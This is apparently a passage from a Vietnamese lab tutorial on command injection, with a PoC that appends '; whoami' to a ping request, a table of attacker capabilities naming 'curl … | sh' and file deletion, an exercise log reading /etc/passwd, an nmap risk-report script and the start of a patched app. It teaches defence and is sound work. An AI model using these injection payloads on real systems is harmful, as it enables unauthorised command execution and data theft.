khong cai cai gi vao may nan nhan, khong mo cua sau, khong lay du lieu.
"""
import argparse
import socket


def send(host, port, line):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(5)
        s.connect((host, port))
        s.sendall(line.encode())
        chunks = []
        while True:
            chunk = s.recv(8192)
            if not chunk:
                break
            chunks.append(chunk)
        return b"".join(chunks).decode("utf-8", "replace")


def main():
    ap = argparse.ArgumentParser(description="PoC: chung minh command injection tren vuln_app.py")
    ap.add_argument("host", help="IP cua may dang chay vuln_app.py (vi du 127.0.0.1)")
    ap.add_argument("--port", type=int, default=9500)
    ap.add_argument("--server-os", choices=["posix", "windows"], default="posix",
                    help="he dieu hanh SERVER: posix (macOS/Linux) hoac windows")
    args = ap.parse_args()

    try:
        print("1) Dung dung (du doan): gui PING binh thuong")
        print(send(args.host, args.port, f"PING {args.host}\n"))

        separator = "&" if args.server_os == "windows" else ";"
        print(f"2) KHAI THAC: gan lenh whoami bang dau {separator!r} (server {args.server_os})")
        payload = f"PING 127.0.0.1{separator} echo ---LENH-THU-HAI-DA-CHAY---{separator} whoami\n"
        print("   Du lieu gui di:", payload.strip())
        reply = send(args.host, args.port, payload)
        print(reply)
    except ConnectionRefusedError:
        raise SystemExit(
            f"LOI: {args.host}:{args.port} tu choi ket noi.\n"
            "Nguyen nhan thuong gap: chua chay vuln_app.py (hoac vuln_app_fixed.py) o may do,\n"
            "hoac quen them --lan khi chay tren may khac voi may dang go lenh nay.")
    except (TimeoutError, socket.timeout):
        # Truoc Python 3.10, socket.timeout KHONG phai TimeoutError nen phai bat ca hai.
        raise SystemExit(
            f"LOI: khong ket noi duoc toi {args.host}:{args.port} sau 5 giay (timed out).\n"
            "Nguyen nhan thuong gap: hai may dang o hai mang khac nhau (kiem tra cung ten Wi-Fi),\n"
            "mang khach dang cach ly thiet bi (AP isolation, xem bai 8), hoac firewall cua may do\n"
            "dang chan im lang (xem bai giang: hop thoai 'Allow incoming connections' tren macOS,\n"
            "Windows Defender Firewall tren Windows).")
    except OSError as e:
        raise SystemExit(f"LOI mang: {e}\nKiem tra lai dia chi IP va cong, va ca hai may cung mang.")

    # Luu y: ban DA SUA se echo lai dung chuoi bi tu choi (chua ca chu danh
    # dau), nen phai loai truong hop do truoc khi ket luan "da khai thac".
    if "TU CHOI" in reply or reply.startswith("LOI"):
        print(">>> KET LUAN: server TU CHOI chay, khong co lenh thu hai nao duoc thuc thi.")
        print(">>> Dau vao da duoc kiem tra (allowlist IPv4) truoc khi dua vao subprocess.")
    elif "---LENH-THU-HAI-DA-CHAY---" in [line.strip() for line in reply.splitlines()]:
        print(">>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.")
        print(">>> Day la command injection: server ghep chuoi nguoi dung vao shell.")
    else:
        print(">>> Khong ro ket qua, kiem tra lai log server.")


if __name__ == "__main__":
    main()
EOF

Ý tưởng của file, đọc trong hàm main():

PhầnÝ nghĩa
send(host, port, line)Mở một kết nối TCP, gửi đúng một dòng, đọc hết phản hồi rồi trả về — dùng lại cho cả hai lần gửi bên dưới.
payload = f"PING 127.0.0.1{separator} echo ...{separator} whoami"Ghép dấu phân cách của shell (; trên macOS/Linux, & trên Windows nếu dùng --server-os windows) quanh một chữ đánh dấu và lệnh whoami.
if "TU CHOI" in reply: ... elif "...DA-CHAY..." in reply: ...Tự đọc phản hồi để tự kết luận: bị từ chối (đã vá) hay lệnh thứ hai đã chạy (còn lỗi) — không cần đọc log bằng mắt.

BƯỚC 3Chạy PoC, nhắm vào Terminal A

MACOS
python3 exploit_poc.py 127.0.0.1
WINDOWS
py exploit_poc.py 127.0.0.1
LINUX
python3 exploit_poc.py 127.0.0.1
KẾT QUẢ MẪU (TÊN NGƯỜI DÙNG LÀ MINH HỌA)
1) Dung dung (du doan): gui PING binh thuong
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.05 ms

2) KHAI THAC: gan them lenh 'whoami' sau dau ';' trong tham so dia chi
   Du lieu gui di: PING 127.0.0.1; echo ---LENH-THU-HAI-DA-CHAY---; whoami
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.06 ms
---LENH-THU-HAI-DA-CHAY---
longnguyen

>>> KET LUAN: ung dung da chay ca lenh 'whoami' ngoai y dinh.
>>> Day la command injection: server ghep chuoi nguoi dung vao shell.

Hai máy thật: thay 127.0.0.1 bằng IP của Máy A (Terminal A, bước 3) trong cả hai lệnh ở trên — không sửa gì khác. Kết quả giống hệt; dòng tên người dùng vẫn là của Máy A, chứng minh lệnh chạy xuyên qua mạng, không phải trên máy đang gõ lệnh.

Cùng một payload, hai kết quả khác hẳnMÁY A CHẠYvuln_app.py--lanMÁY B CHẠYexploit_poc.py<IP_MAY_A>KHAI THÁC THÀNH CÔNGwhoami →"longnguyen"MÁY A CHẠYvuln_app_fixed.py--lanMÁY B CHẠYexploit_poc.py<IP_MAY_A>BỊ CHẶN ĐÚNG ÝTU CHOI:khong hop leCùng một lệnh ở Máy B — chỉ Máy A đổi app là kết quả đổi hẳn.
Hình 4. Đây là kết quả bạn sẽ thấy ở Terminal B khi làm bước 4 rồi bước 5, không đổi gì ở lệnh gửi — chỉ đổi app nào đang chạy ở Máy A.
Đọc kết quảPhần 1 là dùng đúng dự kiến: gửi một IP, nhận lại kết quả ping. Phần 2 gửi thêm ; echo …; whoami. Dòng longnguyen ở cuối là tên người dùng thật của máy đang chạy Terminal A — do lệnh whoami đã chạy, dù "HomeLand" chỉ định nghĩa tính năng ping. Terminal B chưa từng đăng nhập vào Terminal A.

Nếu đây là lỗi thật, kẻ xấu có thể làm được gì?

PoC trong bài chỉ chạy whoami để chứng minh, nhưng cùng một lỗ hổng cho phép chạy bất kỳ lệnh nào mà hệ điều hành hiểu được:

Có thể làmVí dụ lệnh (chỉ để biết, không chạy)
Đọc file bất kỳ trên máycat, type
Xoá hoặc sửa filerm, del
Xem máy đang chạy gì, có phần mềm bảo vệ nàops, tasklist
Tải thêm phần mềm độc hại về chạy tiếpcurl … | sh
Dùng máy bị chiếm làm bàn đạp dò các máy khác trong mạnglặp lại đúng bài 8, nhưng từ bên trong
Đọc thêm: muốn soát nhiều thiết bị cùng lúc rồi tự xếp mức rủi ro? (không bắt buộc)

nmap_report.py đọc file kết quả của nmap (cờ -oX, như đã dùng ở bài 8) và in ra mức rủi ro CAO/TRUNG BÌNH/THẤP cho từng cổng mở của từng thiết bị, theo một bảng tra có sẵn trong code (Telnet và Remote Desktop luôn ở mức CAO, xem bài 8).

nmap_report.py · Tải file vào thư mục vuln-lab, hoặc mở mã để sao chép vào trình soạn thảo.

↓ Tải nmap_report.py
Xem mã Python · có tô màu và số dòng
PYTHON · nmap_report.py
# nmap_report.py - doc file ket qua cua nmap (-oX) va viet thanh bao cao co xep muc rui ro.
# Dung thu vien co san cua Python 3. Khong quet gi ca: chi DOC file ban da luu.
# Cach dung:
#   nmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
#   python3 nmap_report.py quet.xml
#   python3 nmap_report.py quet.xml --so thiet-bi.csv     (so thiet bi: mac,ip,ten,chu)
import argparse
import csv
import xml.etree.ElementTree as ET

# port -> (muc, ly do ngan, viec nen lam)
RISK = {
    21: ("CAO", "FTP: gui mat khau khong ma hoa", "Tat neu khong dung; dung SFTP"),
    23: ("CAO", "Telnet: dieu khien tu xa khong ma hoa", "Tat ngay; dung SSH"),
    3389: ("CAO", "Remote Desktop: hay bi do mat khau", "Tat neu khong can; bat xac thuc 2 lop"),
    5900: ("CAO", "VNC: dieu khien man hinh tu xa", "Tat hoac dat mat khau manh"),
    445: ("CAO", "Chia se file Windows (SMB)", "Chi bat khi can; cap nhat Windows"),
    135: ("TRUNG BINH", "Windows RPC: dich vu he thong", "Binh thuong tren Windows; khong mo ra ngoai"),
    139: ("TRUNG BINH", "NetBIOS: chia se file doi cu", "Tat neu khong dung"),
    22: ("TRUNG BINH", "SSH: quan tri tu xa co ma hoa", "Dung mat khau manh hoac khoa SSH"),
    80: ("TRUNG BINH", "Web khong ma hoa", "Doi mat khau quan tri; uu tien 443"),
    8080: ("TRUNG BINH", "Web/proxy khong ma hoa", "Kiem tra ai dang chay dich vu nay"),
    8000: ("TRUNG BINH", "May chu web thu nghiem", "Tat khi khong con dung"),
    554: ("TRUNG BINH", "Truyen video camera (RTSP)", "Dat mat khau camera; dua vao mang rieng"),
    5000: ("THAP", "AirPlay / dich vu web nho", "Tat AirPlay Receiver neu khong dung"),
    7000: ("THAP", "AirPlay", "Tat AirPlay Receiver neu khong dung"),
    53: ("THAP", "DNS: router tra loi ten mien", "Binh thuong tren router"),
    443: ("THAP", "Web co ma hoa", "Binh thuong"),
    631: ("THAP", "In ma (IPP)", "Binh thuong tren may in"),
    9100: ("THAP", "In truc tiep", "Binh thuong tren may in"),
}
ORDER = {"CAO": 0, "TRUNG BINH": 1, "THAP": 2, "CHUA RO": 3}


def risk_of(port):
    return RISK.get(port, ("CHUA RO", "Port chua co trong bang", "Tra cuu dich vu nay la gi"))


def read_hosts(path):
    hosts = []
    for h in ET.parse(path).getroot().findall("host"):
        addrs = {a.get("addrtype"): a.get("addr") for a in h.findall("address")}
        vendor = next((a.get("vendor") for a in h.findall("address") if a.get("addrtype") == "mac"), "")
        ports = []
        for p in h.findall("ports/port"):
            if p.find("state").get("state") == "open":
                svc = p.find("service")
                ports.append((int(p.get("portid")), svc.get("name") if svc is not None else "?"))
        hosts.append({"ip": addrs.get("ipv4", "?"), "mac": (addrs.get("mac") or "").lower(),
                      "vendor": vendor or "", "ports": sorted(ports)})
    return hosts


def read_book(path):
    # so thiet bi: moi dong la mot thiet bi ban da biet va dong y cho o trong mang
    with open(path, newline="", encoding="utf-8") as f:
        return list(csv.DictReader(f))


def in_book(host, book):
    for row in book:
        mac = (row.get("mac") or "").strip().lower()
        if host["mac"] and mac and mac == host["mac"]:
            return row
        if not host["mac"] and (row.get("ip") or "").strip() == host["ip"]:
            return row
    return None


def main():
    ap = argparse.ArgumentParser(description="Bao cao rui ro tu file nmap -oX")
    ap.add_argument("xml", help="file ket qua nmap luu bang -oX")
    ap.add_argument("--so", help="file CSV so thiet bi (cot: mac,ip,ten,chu) de phat hien thiet bi la")
    args = ap.parse_args()

    hosts = read_hosts(args.xml)
    book = read_book(args.so) if args.so else None
    print(f"Doc {len(hosts)} thiet bi tu {args.xml}\n")
    worst_all = []
    for h in hosts:
        known = in_book(h, book) if book is not None else None
        label = known.get("ten") if known else ("CHUA CO TRONG SO!" if book is not None else "")
        print(f"{h['ip']:<15} {h['vendor'] or h['mac'] or '':<24} {label}")
        if not h["ports"]:
            print("    khong thay port mo (trong pham vi da quet)")
        for port, name in sorted(h["ports"], key=lambda p: ORDER[risk_of(p[0])[0]]):
            level, why, todo = risk_of(port)
            print(f"    [{level:<10}] {port:<6}{name:<12}{why}. -> {todo}")
            worst_all.append((ORDER[level], h["ip"], port, why, todo))
    if book is not None:
        unknown = [h["ip"] for h in hosts if not in_book(h, book)]
        print(f"\nThiet bi chua co trong so: {unknown or 'khong co'}")
    high = [w for w in worst_all if w[0] == 0]
    print(f"\nTong ket: {len(hosts)} thiet bi, {len(worst_all)} port mo, {len(high)} port muc CAO can xu ly truoc.")
    for _, ip, port, why, todo in high:
        print(f"  - {ip}:{port}  {why} -> {todo}")


if __name__ == "__main__":
    main()
Tạo file bằng terminal · chọn hệ điều hành của bạn
MACOS: TẠO nmap_report.py
cat > nmap_report.py <<'EOF'
# nmap_report.py - doc file ket qua cua nmap (-oX) va viet thanh bao cao co xep muc rui ro.
# Dung thu vien co san cua Python 3. Khong quet gi ca: chi DOC file ban da luu.
# Cach dung:
#   nmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
#   python3 nmap_report.py quet.xml
#   python3 nmap_report.py quet.xml --so thiet-bi.csv     (so thiet bi: mac,ip,ten,chu)
import argparse
import csv
import xml.etree.ElementTree as ET

# port -> (muc, ly do ngan, viec nen lam)
RISK = {
    21: ("CAO", "FTP: gui mat khau khong ma hoa", "Tat neu khong dung; dung SFTP"),
    23: ("CAO", "Telnet: dieu khien tu xa khong ma hoa", "Tat ngay; dung SSH"),
    3389: ("CAO", "Remote Desktop: hay bi do mat khau", "Tat neu khong can; bat xac thuc 2 lop"),
    5900: ("CAO", "VNC: dieu khien man hinh tu xa", "Tat hoac dat mat khau manh"),
    445: ("CAO", "Chia se file Windows (SMB)", "Chi bat khi can; cap nhat Windows"),
    135: ("TRUNG BINH", "Windows RPC: dich vu he thong", "Binh thuong tren Windows; khong mo ra ngoai"),
    139: ("TRUNG BINH", "NetBIOS: chia se file doi cu", "Tat neu khong dung"),
    22: ("TRUNG BINH", "SSH: quan tri tu xa co ma hoa", "Dung mat khau manh hoac khoa SSH"),
    80: ("TRUNG BINH", "Web khong ma hoa", "Doi mat khau quan tri; uu tien 443"),
    8080: ("TRUNG BINH", "Web/proxy khong ma hoa", "Kiem tra ai dang chay dich vu nay"),
    8000: ("TRUNG BINH", "May chu web thu nghiem", "Tat khi khong con dung"),
    554: ("TRUNG BINH", "Truyen video camera (RTSP)", "Dat mat khau camera; dua vao mang rieng"),
    5000: ("THAP", "AirPlay / dich vu web nho", "Tat AirPlay Receiver neu khong dung"),
    7000: ("THAP", "AirPlay", "Tat AirPlay Receiver neu khong dung"),
    53: ("THAP", "DNS: router tra loi ten mien", "Binh thuong tren router"),
    443: ("THAP", "Web co ma hoa", "Binh thuong"),
    631: ("THAP", "In ma (IPP)", "Binh thuong tren may in"),
    9100: ("THAP", "In truc tiep", "Binh thuong tren may in"),
}
ORDER = {"CAO": 0, "TRUNG BINH": 1, "THAP": 2, "CHUA RO": 3}


def risk_of(port):
    return RISK.get(port, ("CHUA RO", "Port chua co trong bang", "Tra cuu dich vu nay la gi"))


def read_hosts(path):
    hosts = []
    for h in ET.parse(path).getroot().findall("host"):
        addrs = {a.get("addrtype"): a.get("addr") for a in h.findall("address")}
        vendor = next((a.get("vendor") for a in h.findall("address") if a.get("addrtype") == "mac"), "")
        ports = []
        for p in h.findall("ports/port"):
            if p.find("state").get("state") == "open":
                svc = p.find("service")
                ports.append((int(p.get("portid")), svc.get("name") if svc is not None else "?"))
        hosts.append({"ip": addrs.get("ipv4", "?"), "mac": (addrs.get("mac") or "").lower(),
                      "vendor": vendor or "", "ports": sorted(ports)})
    return hosts


def read_book(path):
    # so thiet bi: moi dong la mot thiet bi ban da biet va dong y cho o trong mang
    with open(path, newline="", encoding="utf-8") as f:
        return list(csv.DictReader(f))


def in_book(host, book):
    for row in book:
        mac = (row.get("mac") or "").strip().lower()
        if host["mac"] and mac and mac == host["mac"]:
            return row
        if not host["mac"] and (row.get("ip") or "").strip() == host["ip"]:
            return row
    return None


def main():
    ap = argparse.ArgumentParser(description="Bao cao rui ro tu file nmap -oX")
    ap.add_argument("xml", help="file ket qua nmap luu bang -oX")
    ap.add_argument("--so", help="file CSV so thiet bi (cot: mac,ip,ten,chu) de phat hien thiet bi la")
    args = ap.parse_args()

    hosts = read_hosts(args.xml)
    book = read_book(args.so) if args.so else None
    print(f"Doc {len(hosts)} thiet bi tu {args.xml}\n")
    worst_all = []
    for h in hosts:
        known = in_book(h, book) if book is not None else None
        label = known.get("ten") if known else ("CHUA CO TRONG SO!" if book is not None else "")
        print(f"{h['ip']:<15} {h['vendor'] or h['mac'] or '':<24} {label}")
        if not h["ports"]:
            print("    khong thay port mo (trong pham vi da quet)")
        for port, name in sorted(h["ports"], key=lambda p: ORDER[risk_of(p[0])[0]]):
            level, why, todo = risk_of(port)
            print(f"    [{level:<10}] {port:<6}{name:<12}{why}. -> {todo}")
            worst_all.append((ORDER[level], h["ip"], port, why, todo))
    if book is not None:
        unknown = [h["ip"] for h in hosts if not in_book(h, book)]
        print(f"\nThiet bi chua co trong so: {unknown or 'khong co'}")
    high = [w for w in worst_all if w[0] == 0]
    print(f"\nTong ket: {len(hosts)} thiet bi, {len(worst_all)} port mo, {len(high)} port muc CAO can xu ly truoc.")
    for _, ip, port, why, todo in high:
        print(f"  - {ip}:{port}  {why} -> {todo}")


if __name__ == "__main__":
    main()
EOF
WINDOWS POWERSHELL: TẠO nmap_report.py
@'
# nmap_report.py - doc file ket qua cua nmap (-oX) va viet thanh bao cao co xep muc rui ro.
# Dung thu vien co san cua Python 3. Khong quet gi ca: chi DOC file ban da luu.
# Cach dung:
#   nmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
#   python3 nmap_report.py quet.xml
#   python3 nmap_report.py quet.xml --so thiet-bi.csv     (so thiet bi: mac,ip,ten,chu)
import argparse
import csv
import xml.etree.ElementTree as ET

# port -> (muc, ly do ngan, viec nen lam)
RISK = {
    21: ("CAO", "FTP: gui mat khau khong ma hoa", "Tat neu khong dung; dung SFTP"),
    23: ("CAO", "Telnet: dieu khien tu xa khong ma hoa", "Tat ngay; dung SSH"),
    3389: ("CAO", "Remote Desktop: hay bi do mat khau", "Tat neu khong can; bat xac thuc 2 lop"),
    5900: ("CAO", "VNC: dieu khien man hinh tu xa", "Tat hoac dat mat khau manh"),
    445: ("CAO", "Chia se file Windows (SMB)", "Chi bat khi can; cap nhat Windows"),
    135: ("TRUNG BINH", "Windows RPC: dich vu he thong", "Binh thuong tren Windows; khong mo ra ngoai"),
    139: ("TRUNG BINH", "NetBIOS: chia se file doi cu", "Tat neu khong dung"),
    22: ("TRUNG BINH", "SSH: quan tri tu xa co ma hoa", "Dung mat khau manh hoac khoa SSH"),
    80: ("TRUNG BINH", "Web khong ma hoa", "Doi mat khau quan tri; uu tien 443"),
    8080: ("TRUNG BINH", "Web/proxy khong ma hoa", "Kiem tra ai dang chay dich vu nay"),
    8000: ("TRUNG BINH", "May chu web thu nghiem", "Tat khi khong con dung"),
    554: ("TRUNG BINH", "Truyen video camera (RTSP)", "Dat mat khau camera; dua vao mang rieng"),
    5000: ("THAP", "AirPlay / dich vu web nho", "Tat AirPlay Receiver neu khong dung"),
    7000: ("THAP", "AirPlay", "Tat AirPlay Receiver neu khong dung"),
    53: ("THAP", "DNS: router tra loi ten mien", "Binh thuong tren router"),
    443: ("THAP", "Web co ma hoa", "Binh thuong"),
    631: ("THAP", "In ma (IPP)", "Binh thuong tren may in"),
    9100: ("THAP", "In truc tiep", "Binh thuong tren may in"),
}
ORDER = {"CAO": 0, "TRUNG BINH": 1, "THAP": 2, "CHUA RO": 3}


def risk_of(port):
    return RISK.get(port, ("CHUA RO", "Port chua co trong bang", "Tra cuu dich vu nay la gi"))


def read_hosts(path):
    hosts = []
    for h in ET.parse(path).getroot().findall("host"):
        addrs = {a.get("addrtype"): a.get("addr") for a in h.findall("address")}
        vendor = next((a.get("vendor") for a in h.findall("address") if a.get("addrtype") == "mac"), "")
        ports = []
        for p in h.findall("ports/port"):
            if p.find("state").get("state") == "open":
                svc = p.find("service")
                ports.append((int(p.get("portid")), svc.get("name") if svc is not None else "?"))
        hosts.append({"ip": addrs.get("ipv4", "?"), "mac": (addrs.get("mac") or "").lower(),
                      "vendor": vendor or "", "ports": sorted(ports)})
    return hosts


def read_book(path):
    # so thiet bi: moi dong la mot thiet bi ban da biet va dong y cho o trong mang
    with open(path, newline="", encoding="utf-8") as f:
        return list(csv.DictReader(f))


def in_book(host, book):
    for row in book:
        mac = (row.get("mac") or "").strip().lower()
        if host["mac"] and mac and mac == host["mac"]:
            return row
        if not host["mac"] and (row.get("ip") or "").strip() == host["ip"]:
            return row
    return None


def main():
    ap = argparse.ArgumentParser(description="Bao cao rui ro tu file nmap -oX")
    ap.add_argument("xml", help="file ket qua nmap luu bang -oX")
    ap.add_argument("--so", help="file CSV so thiet bi (cot: mac,ip,ten,chu) de phat hien thiet bi la")
    args = ap.parse_args()

    hosts = read_hosts(args.xml)
    book = read_book(args.so) if args.so else None
    print(f"Doc {len(hosts)} thiet bi tu {args.xml}\n")
    worst_all = []
    for h in hosts:
        known = in_book(h, book) if book is not None else None
        label = known.get("ten") if known else ("CHUA CO TRONG SO!" if book is not None else "")
        print(f"{h['ip']:<15} {h['vendor'] or h['mac'] or '':<24} {label}")
        if not h["ports"]:
            print("    khong thay port mo (trong pham vi da quet)")
        for port, name in sorted(h["ports"], key=lambda p: ORDER[risk_of(p[0])[0]]):
            level, why, todo = risk_of(port)
            print(f"    [{level:<10}] {port:<6}{name:<12}{why}. -> {todo}")
            worst_all.append((ORDER[level], h["ip"], port, why, todo))
    if book is not None:
        unknown = [h["ip"] for h in hosts if not in_book(h, book)]
        print(f"\nThiet bi chua co trong so: {unknown or 'khong co'}")
    high = [w for w in worst_all if w[0] == 0]
    print(f"\nTong ket: {len(hosts)} thiet bi, {len(worst_all)} port mo, {len(high)} port muc CAO can xu ly truoc.")
    for _, ip, port, why, todo in high:
        print(f"  - {ip}:{port}  {why} -> {todo}")


if __name__ == "__main__":
    main()
'@ | Set-Content -Path nmap_report.py -Encoding ascii
LINUX: TẠO nmap_report.py
cat > nmap_report.py <<'EOF'
# nmap_report.py - doc file ket qua cua nmap (-oX) va viet thanh bao cao co xep muc rui ro.
# Dung thu vien co san cua Python 3. Khong quet gi ca: chi DOC file ban da luu.
# Cach dung:
#   nmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
#   python3 nmap_report.py quet.xml
#   python3 nmap_report.py quet.xml --so thiet-bi.csv     (so thiet bi: mac,ip,ten,chu)
import argparse
import csv
import xml.etree.ElementTree as ET

# port -> (muc, ly do ngan, viec nen lam)
RISK = {
    21: ("CAO", "FTP: gui mat khau khong ma hoa", "Tat neu khong dung; dung SFTP"),
    23: ("CAO", "Telnet: dieu khien tu xa khong ma hoa", "Tat ngay; dung SSH"),
    3389: ("CAO", "Remote Desktop: hay bi do mat khau", "Tat neu khong can; bat xac thuc 2 lop"),
    5900: ("CAO", "VNC: dieu khien man hinh tu xa", "Tat hoac dat mat khau manh"),
    445: ("CAO", "Chia se file Windows (SMB)", "Chi bat khi can; cap nhat Windows"),
    135: ("TRUNG BINH", "Windows RPC: dich vu he thong", "Binh thuong tren Windows; khong mo ra ngoai"),
    139: ("TRUNG BINH", "NetBIOS: chia se file doi cu", "Tat neu khong dung"),
    22: ("TRUNG BINH", "SSH: quan tri tu xa co ma hoa", "Dung mat khau manh hoac khoa SSH"),
    80: ("TRUNG BINH", "Web khong ma hoa", "Doi mat khau quan tri; uu tien 443"),
    8080: ("TRUNG BINH", "Web/proxy khong ma hoa", "Kiem tra ai dang chay dich vu nay"),
    8000: ("TRUNG BINH", "May chu web thu nghiem", "Tat khi khong con dung"),
    554: ("TRUNG BINH", "Truyen video camera (RTSP)", "Dat mat khau camera; dua vao mang rieng"),
    5000: ("THAP", "AirPlay / dich vu web nho", "Tat AirPlay Receiver neu khong dung"),
    7000: ("THAP", "AirPlay", "Tat AirPlay Receiver neu khong dung"),
    53: ("THAP", "DNS: router tra loi ten mien", "Binh thuong tren router"),
    443: ("THAP", "Web co ma hoa", "Binh thuong"),
    631: ("THAP", "In ma (IPP)", "Binh thuong tren may in"),
    9100: ("THAP", "In truc tiep", "Binh thuong tren may in"),
}
ORDER = {"CAO": 0, "TRUNG BINH": 1, "THAP": 2, "CHUA RO": 3}


def risk_of(port):
    return RISK.get(port, ("CHUA RO", "Port chua co trong bang", "Tra cuu dich vu nay la gi"))


def read_hosts(path):
    hosts = []
    for h in ET.parse(path).getroot().findall("host"):
        addrs = {a.get("addrtype"): a.get("addr") for a in h.findall("address")}
        vendor = next((a.get("vendor") for a in h.findall("address") if a.get("addrtype") == "mac"), "")
        ports = []
        for p in h.findall("ports/port"):
            if p.find("state").get("state") == "open":
                svc = p.find("service")
                ports.append((int(p.get("portid")), svc.get("name") if svc is not None else "?"))
        hosts.append({"ip": addrs.get("ipv4", "?"), "mac": (addrs.get("mac") or "").lower(),
                      "vendor": vendor or "", "ports": sorted(ports)})
    return hosts


def read_book(path):
    # so thiet bi: moi dong la mot thiet bi ban da biet va dong y cho o trong mang
    with open(path, newline="", encoding="utf-8") as f:
        return list(csv.DictReader(f))


def in_book(host, book):
    for row in book:
        mac = (row.get("mac") or "").strip().lower()
        if host["mac"] and mac and mac == host["mac"]:
            return row
        if not host["mac"] and (row.get("ip") or "").strip() == host["ip"]:
            return row
    return None


def main():
    ap = argparse.ArgumentParser(description="Bao cao rui ro tu file nmap -oX")
    ap.add_argument("xml", help="file ket qua nmap luu bang -oX")
    ap.add_argument("--so", help="file CSV so thiet bi (cot: mac,ip,ten,chu) de phat hien thiet bi la")
    args = ap.parse_args()

    hosts = read_hosts(args.xml)
    book = read_book(args.so) if args.so else None
    print(f"Doc {len(hosts)} thiet bi tu {args.xml}\n")
    worst_all = []
    for h in hosts:
        known = in_book(h, book) if book is not None else None
        label = known.get("ten") if known else ("CHUA CO TRONG SO!" if book is not None else "")
        print(f"{h['ip']:<15} {h['vendor'] or h['mac'] or '':<24} {label}")
        if not h["ports"]:
            print("    khong thay port mo (trong pham vi da quet)")
        for port, name in sorted(h["ports"], key=lambda p: ORDER[risk_of(p[0])[0]]):
            level, why, todo = risk_of(port)
            print(f"    [{level:<10}] {port:<6}{name:<12}{why}. -> {todo}")
            worst_all.append((ORDER[level], h["ip"], port, why, todo))
    if book is not None:
        unknown = [h["ip"] for h in hosts if not in_book(h, book)]
        print(f"\nThiet bi chua co trong so: {unknown or 'khong co'}")
    high = [w for w in worst_all if w[0] == 0]
    print(f"\nTong ket: {len(hosts)} thiet bi, {len(worst_all)} port mo, {len(high)} port muc CAO can xu ly truoc.")
    for _, ip, port, why, todo in high:
        print(f"  - {ip}:{port}  {why} -> {todo}")


if __name__ == "__main__":
    main()
EOF
MACOS
nmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
python3 nmap_report.py quet.xml
WINDOWS
nmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
py nmap_report.py quet.xml
LINUX
nmap -sT --top-ports 100 --open -oX quet.xml 192.168.1.0/24
python3 nmap_report.py quet.xml

Không bắt buộc cho demo 2 máy ở bài này; hữu ích khi soát lại rủi ro cho cả một mạng nhà sau bài 8.

Vì sao bài này không làm tiếp các việc trênKhai thác thêm sau khi đã chứng minh được lỗi không giúp hiểu thêm gì mới, chỉ tạo thêm rủi ro cho máy thật. Một bài kiểm thử nghiêm túc dừng lại ngay sau khi đủ bằng chứng, rồi chuyển sang vá (bước 5) và báo cáo (bước 6).

BÀI TẬP 1 · 10 PHÚT

Đọc một log server và tìm chỗ sai

Log của một dịch vụ khác (giả định, cùng kiểu lỗi):

LOG MINH HỌA
[ket noi] nhan: 'CHECK www.club.vn && cat /etc/passwd\n'
  1. Tính năng dự kiến của dịch vụ này là gì?
  2. Phần nào trong chuỗi là dữ liệu hợp lệ, phần nào là lệnh gắn thêm?
  3. Ký tự nào cho phép gắn thêm lệnh ở đây, khác gì so với dấu ; trong bài?
Xem đáp án
  1. Kiểm tra (CHECK) một địa chỉ website, có thể là ping hoặc gọi thử trang.
  2. Hợp lệ: www.club.vn. Gắn thêm: cat /etc/passwd (đọc file chứa thông tin người dùng hệ thống trên Linux).
  3. && nghĩa là "chạy lệnh sau nếu lệnh trước thành công" — khác dấu ; (luôn chạy lệnh sau) nhưng cùng là một ký tự đặc biệt của shell không được kiểm tra trước.
06

Bước 5 · Vá lỗi đúng cách

15 phút
Kiểm tra đầu vàoAllowlist IPv4
Không ghép chuỗiDanh sách tham số
Thử lại payload cũBị từ chối
Cùng một tính năng PING, hai cách viếtLỖI · vuln_app.pytarget = payload[5:]cmd = f"ping -c1 {target}"Gửi lại "127.0.0.1; whoami"→ shell chạy CẢ HAI lệnh→ whoami in ra ngoài ý địnhĐÃ SỬA · vuln_app_fixed.pyif not is_safe_ipv4(target): tu_choisubprocess.run(["ping","-c1",target])Gửi lại "127.0.0.1; whoami"→ bị từ chối ngay, không chạy gì→ không có lệnh thứ hai nào cảHai thay đổi nhỏ trong code, nhưng chặn đứng cả lớp lỗi này — không chỉ riêng dấu ;.
Hình 5. Hai thay đổi tạo ra khác biệt: kiểm tra đầu vào trước (allowlist IPv4) và không ghép chuỗi vào shell — dùng danh sách tham số để hệ điều hành không hiểu dấu ; là ký tự đặc biệt nữa.

BƯỚC 1Tạo vuln_app_fixed.py, dừng app cũ

Ở Terminal A, nhấn Ctrl+C để dừng vuln_app.py. Tạo file sửa:

vuln_app_fixed.py · Tải file vào thư mục vuln-lab, hoặc mở mã để sao chép vào trình soạn thảo.

↓ Tải vuln_app_fixed.py
Xem mã Python · có tô màu và số dòng
PYTHON · vuln_app_fixed.py
#!/usr/bin/env python3
"""
vuln_app_fixed.py - "HomeLand Controller" (ban DA SUA)
========================================================
Cung mot tinh nang nhu vuln_app.py (PING <dia_chi>), nhung sua dung 2 cach
tieu chuan de chong command injection:

  1. Kiem tra dau vao bang allowlist (chi cho IPv4 hop le), tu choi thang
     moi ky tu la hoac khong thuoc dinh dang mong doi.
  2. Goi subprocess voi LIST tham so va shell=False: he dieu hanh chay
     dung "ping", "-c", "1", "<dia_chi>" nhu bon doi so rieng, KHONG dua
     qua shell nen khong co cho noi them lenh thu hai.

Chay thu voi cung payload da khai thac vuln_app.py de thay no bi tu choi.
"""
import argparse
import ipaddress
import socket
import platform
import subprocess

PORT_DEFAULT = 9500


def is_safe_ipv4(text: str) -> bool:
    try:
        ipaddress.IPv4Address(text)
        return True
    except ValueError:
        return False


def handle(payload: str) -> str:
    payload = payload.strip()
    if not payload.upper().startswith("PING "):
        return "LOI: chi ho tro lenh PING <dia_chi>\n"
    target = payload[5:].strip()
    if not is_safe_ipv4(target):
        return f"TU CHOI: '{target}' khong phai dia chi IPv4 hop le. Khong chay lenh gi ca.\n"
